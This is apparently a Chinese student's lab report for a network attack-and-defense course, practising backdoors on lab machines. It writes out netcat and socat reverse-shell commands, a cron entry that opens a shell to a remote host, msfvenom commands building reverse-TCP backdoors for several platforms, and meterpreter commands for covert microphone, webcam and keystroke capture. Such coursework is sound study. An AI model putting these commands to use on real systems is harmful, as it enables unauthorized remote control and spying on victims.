2017-2018-2 20155303『网络对抗技术』Exp2:后门原理与实践
2017-2018-2 『网络对抗技术』Exp2:后门原理与实践
————————CONTENTS————————
- 1. 后门原理与实践实验说明
- 2. 常用后门工具
- NC或netcat
- Win获得Linux Shell
- Linux获得Win Shell
- 3. Meterpreter
- 4. 实验中遇到的问题及思考
- Metasploit如何生成各种类型的后门?
- 5. 实验总结及体会
- 附:参考资料
1. 后门原理与实践实验说明及预备知识
一、实验说明
任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)
任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
二、基础问题回答
- 问:例举你能想到的一个后门进入到你系统中的可能方式?
- 下载软件时,如果没有在官网,而是根据搜索引擎的推荐项随意点开一个链接下载,往往会捆绑下载一些我们并不需要的软件。这其中难免会有木马病毒,从而对电脑安全产生威胁。
- 问:例举你知道的后门如何启动起来(win及linux)的方式?
- win:修改注册表、设置为开机自启动、诱导用户点击从而执行等等。
- Linux:可以通过crontab功能将木马设为定时启动,也可以通过对正常软件的绑定注入shellcode达到开启后门的目的。
- 问:Meterpreter有哪些给你映像深刻的功能?
- 这次试验给我留下深刻印象的主要有获取目标主机音频、摄像头、击键记录等内容。除此之外还有植入后门实施远程控制、metsvc后渗透攻击模块等等。
- 问:如何发现自己有系统有没有被安装后门?
- 可以检测网络连接,查看是否有IP与本机建立连接;安装专门的杀毒软件,实时防护,并定期检测电脑安全情况;查看任务计划程序、开机自启动项中是否有可疑程序,等等。
2. 常用后门工具
任务一:Windows获得Linux Shell
1、在Windows下使用ipconfig
查看本机IP:
2、使用ncat.exe程序监听本机的5303端口:
3、在Kali环境下,使用nc
指令的-e
选项反向连接Windows主机的5303
端口:
4、成功获得Kali的shell,如下图所示:
任务二:Linux获得Windows Shell
1、在Kali环境中使用ifconfig
查看IP:
2、使用nc
指令监听5303
端口:
3、在Windows下,使用ncat.exe
程序的-e
选项项反向连接Kali主机的5303
端口:
4、Kali下可以看到Windows的命令提示,可以输入Windows命令:
任务三:使用nc传输数据
1、Windows下监听5303
端口:
2、Kali下连接到Windows的5303
端口:
3、建立连接之后,就可以传输数据了:
3. Meterpreter
任务一:使用netcat获取主机操作Shell,cron启动
1、在Windows系统下,监听5303
端口:
2、用crontab -e
指令编辑一条定时任务
3、在最后一行添加45 * * * * /bin/netcat 172.16.8.28 5303 -e /bin/sh
,意思是在每个小时的第45分钟反向连接Windows主机的5303
端口:
4、当时间到了17点45时,此时已经获得了Kali的shell,可以输入指令:
任务二:使用socat获取主机操作Shell, 任务计划启动
- 预备知识:
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- 实践过程:
1、在win10系统下,右击屏幕左下角windows图标,选择“计算机管理”。
在任务计划程序创建任务,填写任务名称,并新建一个触发器。
2、在操作->程序或脚本中选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5303 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5303
,同时把cmd.exe
的stderr
重定向到stdout
上:
3、创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
4、此时,在Kali环境下输入指令socat - tcp:172.30.4.253:5303,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5215端口,此时可以发现已经成功获得了一个cmd shell:
任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.4.253 LPORT=5303 -f exe > 20155303_backdoor.exe
生成后门程序:
2、通过nc指令将生成的后门程序传送到Windows主机上:
3、在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:
4、设置完成后,执行监听:
5、运行Windows下的后门程序:
6、此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
1、使用record_mic
指令可以截获一段音频:
2、使用webcam_snap
指令可以使用摄像头进行拍照:
效果如下:
3、使用screenshot
指令可以进行截屏:
效果如下:
4、使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
4. 实验中遇到的问题及思考
『问题:Metasploit如何生成各种类型的后门?』
Metasploit可以生成各种格式的后门。除了本次实验生成的exe(Windows下的后门),还有Linux环境下的后门、PHP后门、java后门、Android后门,以及shellcode等等。具体如何生成各种类型的后门呢?
1、 Linux下的后门:操作方法与Windows后门类似,输入msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.30.4.253 LPORT=5303 x> 20155303_backdoor
生成木马。
与windows系统唯一的区别是,在linux下生成的木马需要通过使用命令chmod +x 程序名
赋予可执行的权限。
执行时使用./程序名
即可。
2、生成Java后门程序:Java程序在windows下和在linux下都可以生效执行。使用msfvenom -p java/meterpreter/reverse_tcp lhost=172.30.4.253 lport=5303 x> 20155303_backdoor.jar
生成木马。
3、生成PHP后门程序:使用msfvenom -p php/meterpreter/reverse_tcp lhost=172.30.4.253 lport=5303 x> 20155303_backdoor.php
生成木马。
把生成的木马php文件放到网站上面,当别人访问的时候就会执行。
4、生成Android后门程序:使用msfvenom -p android/meterpreter/reverse_tcp lhost=172.30.4.253 lport=5303 x> 20155303_backdoor.apk
生成木马。
此时的木马是apk安装包形式,诱导用户点击此安装包,就会执行。
5、生成shellcode:使用msfvenom -pwindows/meterpreter/reverse_http lhost=172.30.4.253 lport=5303 -f c
生成一段shellcode。
将此shellcode写入可执行文件,执行时就会回连攻击机。
5. 实验总结及体会
- 通过之前的学习我们了解到,后门就是不经过正常认证流程而访问系统的通道。攻击者可以连接这个程序,从而远程执行各种指令,达到攻击的目的。此次实验我们大致实践了一遍后门的形成及植入过程,最后还尝试了对靶机进行控制。虽然内容简单,但后门的基本原理已在我们的脑海中留下了一个模糊的轮廓。在今后的学习中,有待进一步深入研究后门的各种理论知识,以摆脱本实验中一些基本的束缚条件。
- 这两次实验的难度都不大,且趣味性很强。通过模仿老师教程以及前辈的step by step博客,基本都能够完成实验。学到这里,仿佛才刚刚开始接触“信息安全”一些关键性的内容。而前期课程,比如信息安全系统设计基础、计算机网络,以及各种编程知识的重要性也渐渐体现出来。
附:参考资料
2017-2018-2 20155303『网络对抗技术』Exp2:后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 <网络对抗技术>Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 (0. ...
- 2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践 后门的基本概念及基础问题回答 常用后门工具 netcat Win获得Linux Shell Linux获得Win Sh ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
随机推荐
- Linux系统解析域名的先后顺序【转帖】
Linux系统解析域名的先后顺序 gd_WWW已经在本地(/etc/hosts)进行指向,但是竟然还能解析到外网,让我百思不得其解.经过不断查找发现域名解析与以下四个文件有关: /etc/hosts ...
- Quartz.net设置任务中同时最多运行一个实例 [DisallowConcurrentExecution]
Quartz定时任务默认都是并发执行的,不会等待上一次任务执行完毕,只要间隔时间到就会执行, 如果定时任执行太长,会长时间占用资源,导致其它任务堵塞. 比如Job设置1分钟跑一次,每次获取50条短信发 ...
- ELK日志收集
目前日志的痛点 运维要经常登陆到服务器上拿日志给开发.测试 每次都是出问题后才去看日志,不能提前通过日志预判问题 如果是集群服务,日志将要从多台机器取 开发人员搞出来的日志不规范,没有标准.日志目录不 ...
- 入围T00ls 2018风云人物
今天早上打开T00ls,发现成功入围了<T00ls第六届(2018)年度人物风云榜>,共34名年度人物,每个id可投10票,34选10. T00ls是当前国内为数不多的民间网络信息安全研究 ...
- python str byte 转换
# bytes object b = b"example" # str object s = "example" # str to bytes bytes(s, ...
- 【MyBatis学习06】_parameter:解决There is no getter for property named in class java.lang.String
我们知道在mybatis的映射中传参数,只能传入一个.通过#{参数名} 即可获取传入的值. Mapper接口文件: public int delete(int id) throws Exception ...
- Delphi过程函数传递参数的几种方式
Delphi过程函数传递参数的几种方式 在Delphi过程.函数中传递参数几个修饰符为Const.Var.Out. 另一种不加修饰符的为默认按值传递参数. 一.默认方式以值方式传递参数 proced ...
- C - The kth great number 优先队列
Xiao Ming and Xiao Bao are playing a simple Numbers game. In a round Xiao Ming can choose to write d ...
- python3的Cryptodome
简介 python3的PyCryptodome库用于密码学,属于对PyCrypto库的扩展. 安装 Linux上安装: pip install pycryptodome Windows上安装: pip ...
- 动态HTMl处理
后续爬虫代码的建议 尽量减少请求次数 1. 能抓列表页就不抓详情页 2. 保存获取的html页面,供差错和重复请求使用 关注网站的所有类型的页面 1. wap页面,触屏版页面 2. H5页面 3. A ...